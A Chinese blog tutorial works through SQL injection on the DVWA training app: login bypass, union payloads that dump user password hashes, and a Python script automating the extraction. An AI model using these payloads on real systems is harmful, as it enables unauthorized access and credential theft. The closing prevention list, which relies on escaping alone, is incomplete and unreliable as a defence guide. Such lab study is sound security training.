WEB安全之:SQL Injection--DVWA环境测试

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 SQL Injection 概述

服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;

SQL Injection 主要危害有:

  1. 榨取数据;
  2. 执行系统命令;
  3. 向数据库插入代码;
  4. 绕过登录验证。

2 环境准备

2.1 下载靶机

metasploitable-linux-2.0.0.zip

2.2 安装靶机

此处忽略,自行百度: 虚拟机安装 Metasploitable2 系统教程

2.3 修改 dvwa 下的 login.php 文件

// 修改 if 条件语句如下:
if( isset( $_POST[ 'Login' ] ) ) {
// 

        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = mysql_real_escape_string( $user );

        $pass = $_POST[ 'password' ];
/* 注释以下内容
        
        $pass = stripslashes( $pass );          // stripslashes() 函数删除反斜杠
        
        $pass = mysql_real_escape_string( $pass );      // mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
                                                        // 受影响字符: \x00, \n, \r, \, ', ", \x1a
                                                        // 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
                
        $pass = md5( $pass );   // md5() 函数计算字符串的 MD5 散列。

*/

        $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
        $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

        // if( $result && mysql_num_rows( $result ) == 1 ) {     // Login Successful...
        // 注释以上内容并复制,修改如下:
        // mysql_num_rows( $result ) != 0 执行登陆绕过时,sql 结果为真,将打印出所有表内数据,此时行数可能会大于1。
        if( $result && mysql_num_rows( $result ) != 0 ) {     // Login Successful...

                dvwaMessagePush( "You have logged in as '".$user."'" );
                dvwaLogin( $user );
                dvwaRedirect( 'index.php' );

        }

        // Login failed1
        dvwaMessagePush( "Login failed" );
        dvwaRedirect( 'login.php' );
}

3 SQL Injection 绕过登陆验证测试

在不知道用户名或密码的情况下,通过SQL Injection 绕过登陆验证。直接在密码输入框中写入以下内容(用户名可写可不写):

' OR '1'='1

4 low 等级下 SQL Injection 检测方法测试

将 DVWA Security 等级修改为:low

通过上面 SQL Injection 绕过登陆验证测试 进入 DVWA 主界面下后,选择 SQL Injection 菜单

4.1 正常数据查询

User ID 下输入 ‘1’ , 测试查询 User ID 为 ‘1’ 的数据,输出如下:

ID: 1
First name: admin
Surname: admin

观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

SQL实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = '1'; 

4.2 基于报错的检测方法

一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号,数据库因为多出的输入字符导致无法闭合而报错。

User ID 下输入 ' , 测试查询 User ID 为 ' 的数据,输出如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

由报错日志可知,该设备存在 SQL 注入漏洞。

观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#

SQL 实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = ''';

4.3 基于布尔的检测

User ID 下输入 ' OR '1'='1 , 测试查询 User ID 为 ' 的数据,输出如下:

ID: ' OR '1'='1
First name: admin
Surname: admin
...

由ID: ' OR '1'='1可知,该设备存在 SQL 注入漏洞。

SQL 实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1';

4.4 等级为 low 下的 SQL 相关 PHP 语句:

 <?php    

if(isset($_GET['Submit'])){
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

5 low 等级下 SQL Injection 利用

5.1 探测表字段数

  • 1' order by 2#
--- 1' order by 2#
    ID: 1' order by 2#
    First name: admin
    Surname: admin

--- 1' order by 3#
    Unknown column '3' in 'order clause'

--- 由以上结果可以得出,所查询表的字段数为 2

5.2 探测当前数据库名称及版本

  • ' union select version(),database()#
ID: ' union select version(),database()#
First name: 5.0.51a-3ubuntu5
Surname: dvwa

5.3 探测当前数据库中的表

  • ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
ID: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users

5.4 探测当前表中的字段名

  • ' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
ID: ' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar

5.5 探测字段名中的数据

  • ' union select user,password from users#
ID: ' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

6. low 等级下 SQL Injection 检测工具的编写

import optparse, requests

# url = 'http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=FUZZ&Submit=Submit#'
usage = 'web_sqlinjection.py -u url -f dictionary_file'
parser = optparse.OptionParser(usage=usage)

parser.add_option('-u', '--url', metavar='URL', help='the test file', dest='url', type='string')
parser.add_option('-f', '--file', metavar='FILE', help='test file', dest='dic_file', type='string')

(options, args) = parser.parse_args()

url = options.url
print(url)
dic_file = options.dic_file
print(dic_file)

# 探测目标网站是否存在 SQL Injection
fuzz_options = []
def fuzz():
    with open(dic_file, 'r') as f:
        fuzz_data = f.readlines()
        for payload in fuzz_data:
            new_url = url.replace('FUZZ', payload.strip())
            headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
            r = requests.get(new_url, headers=headers)
            result = r.text

            if result.find('SQL syntax') != -1:
                fuzz_options.append(new_url)
                continue


# detect_column_num 探测表字段数
column_num = 0
for i in range(1, 5):
    new_url = url.replace('FUZZ', "1'+order+by+{0}%23".format(str(i)))
    # new_url = url.replace('FUZZ', "1'+order+by+5%23")
    headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
    r = requests.get(new_url, headers=headers)
    result = r.text

    if result.find('Unknown column') != -1:
        column_num = i - 1
        print('共计有 %s 个字段数。' % column_num)
        break
    # php 原代码中,对所查询的字段做了限定,因此只能查到有2个字段,实际是有6个。
    # $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

# 探测表名 01 
def detect_table_name_01():
    """
    对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
    information_schema.tables存储了数据表的元数据信息,下面常用的字段:
    table_schema: 记录数据库名;
    table_name: 记录数据表名;
    engine : 存储引擎;
    table_rows: 关于表的粗略行估计;
    data_length : 记录表的大小(单位字节);
    index_length : 记录表的索引的大小;
    row_format: 可以查看数据表是否压缩过;

    通过以下命令可以查询 information_schema.tables 信息
    use information_schema;
    show create table tables;
    :return:
    """
    # 方法:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
    new_url = url.replace('FUZZ',
                          "1'+union+select+1%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23")
    headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
    r = requests.get(url=new_url, headers=headers)
    result = r.text
    print(result)

# 探测表名 02
table_list = []
def detect_table_name_02():
    tmp_list = []
    for i in range(column_num):
        tmp_list.append(str(i + 1))
    select_para = ",".join(tmp_list)
    print(select_para)
    """
    另外一种实现方式
    tmp_str = ""
    for i in range(column):
        tmp_str = tmp_str + str(i+1) + ','
    tmp_str=tmp_str[:len(tmp_str)-1]
    print(tmp_str)
    """
    table_name_list = ["admin", "admin123", "guestbook", "root", "administrator", "users", "emails", "referers",
                       "uagents", "articles"]
    for table_name in table_name_list:
        #方法:  ' union select 1,2 from users#
        tmp_url = url.replace("FUZZ", "'+ union+select+{0}+from+{1}%23".format(select_para,table_name))
        headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
        r = requests.get(url=tmp_url, headers=headers)
        result = r.text
        if result.find("doesn't exist") == -1:
            table_list.append(table_name)
            continue
    for name_obj in table_list:
        print(name_obj)

# 探测字段名称 01
def detect_column_name_01():
    for i in range(column_num):
        column_select_para= ','.join(str(i+1))
    column_name_list = ['comment_id','comment','name','user_id','first_name','last_name','user','password','avatar']
    for table_name in table_list:
        for column_name in column_name_list:
            tmp_url = url.replace('FUZZ', "'+union+select+1,{0}+from+{1}%23".format(column_name, table_name))
            headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
            r = requests.get(url=tmp_url, headers=headers)
            result = r.text
            # print(result)
            if result.find("Unknown column") == -1:
                print(table_name,column_name)

# 探测字段名称 02
def detect_column_name_02():
    for table in table_list:
        # tmp_url = url.replace('FUZZ',"'+union+select+1%2C+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'{0}'%23".format(table))
        tmp_url = url.replace('FUZZ',"'+union+select+1%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_name%3D'{0}'%23".format(table))
        print(tmp_url)
        headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
        r = requests.get(url=tmp_url, headers=headers)
        result = r.text
        print(result)

# 数据榨取,待优化
def data_extract():
    for i in range(column_num):
        data_select_para= ','.join(str(i+1))
    column_name_list = ['comment_id','comment','name','user_id','first_name','last_name','user','password','avatar']
    for table_name in table_list:
        for column_name in column_name_list:
            tmp_url = url.replace('FUZZ', "'+union+select+1,{0}+from+{1}%23".format(column_name, table_name))
            headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
            r = requests.get(url=tmp_url, headers=headers)
            result = r.text
            print(result)



if __name__ == '__main__':
    fuzz()
    print('fuzz options')
    for obj in fuzz_options:
        print(obj)
    detect_table_name_02()
    detect_column_name_01()
    data_extract()

7 medium 等级下 SQL Injection

7.1 1 union select version(),database()#

ID: 1 union select version(),database()#
First name: admin
Surname: admin
ID: 1 union select version(),database()#
First name: 5.0.51a-3ubuntu5
Surname: dvwa

7.2 1 or 1=1

ID: 1 or 1=1
First name: admin
Surname: admin
ID: 1 or 1=1
First name: Gordon
Surname: Brown
ID: 1 or 1=1
First name: Hack
Surname: Me
ID: 1 or 1=1
First name: Pablo
Surname: Picasso
ID: 1 or 1=1
First name: Bob
Surname: Smith

7.2 1 order by 2#

ID: 1 order by 2#
First name: admin
Surname: admin

7.3 探测当前数据库中的表

  • 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
ID: 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: admin
Surname: admin

ID: 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users

7.4 探测当前表中的字段名

  • 1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
--- 1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
--- 报错:
Unknown column 'users' in 'where clause'

--- 对 users 进行转义成十六进制ASCII码:users=7573657273
ID: 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
First name: admin
Surname: admin

ID: 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar

7.5 探测字段名中的数据

  • 1 union select user,password from users#
ID: 1 union select user,password from users#
First name: admin
Surname: admin

ID: 1 union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

7.7 等级为 low 下的 SQL 相关 PHP 语句

<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
	// SQL 注入类型为数字型注入
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    
    $num = mysql_numrows($result);

    $i=0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

8 high 等级下 SQL Injection

is_numeric() 函数用于判断是否为数字,如果不是数字,不能够执行之前的union等查询操作

<?php    

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = stripslashes($id);
    $id = mysql_real_escape_string($id);

    if (is_numeric($id)){

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

        $num = mysql_numrows($result);

        $i=0;

        while ($i < $num) {

            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");
            
            echo '<pre>';
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>';

            $i++;
        }
    }
}
?>

9 SQL Injection 预防策略

stripslashes();          // stripslashes() 函数删除反斜杠
    
mysql_real_escape_string()    // 函数转义 SQL 语句中使用的字符串中的特殊字符。受影响字符: \x00, \n, \r, \, ', ", \x1a。如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
            
is_numeric()    // 函数用于判断是否为数字,如果不是数字,不能够执行之前的union等查询操作

posted @ 2021-03-05 08:04  f_carey  阅读(17)  评论(0编辑  收藏  举报  来源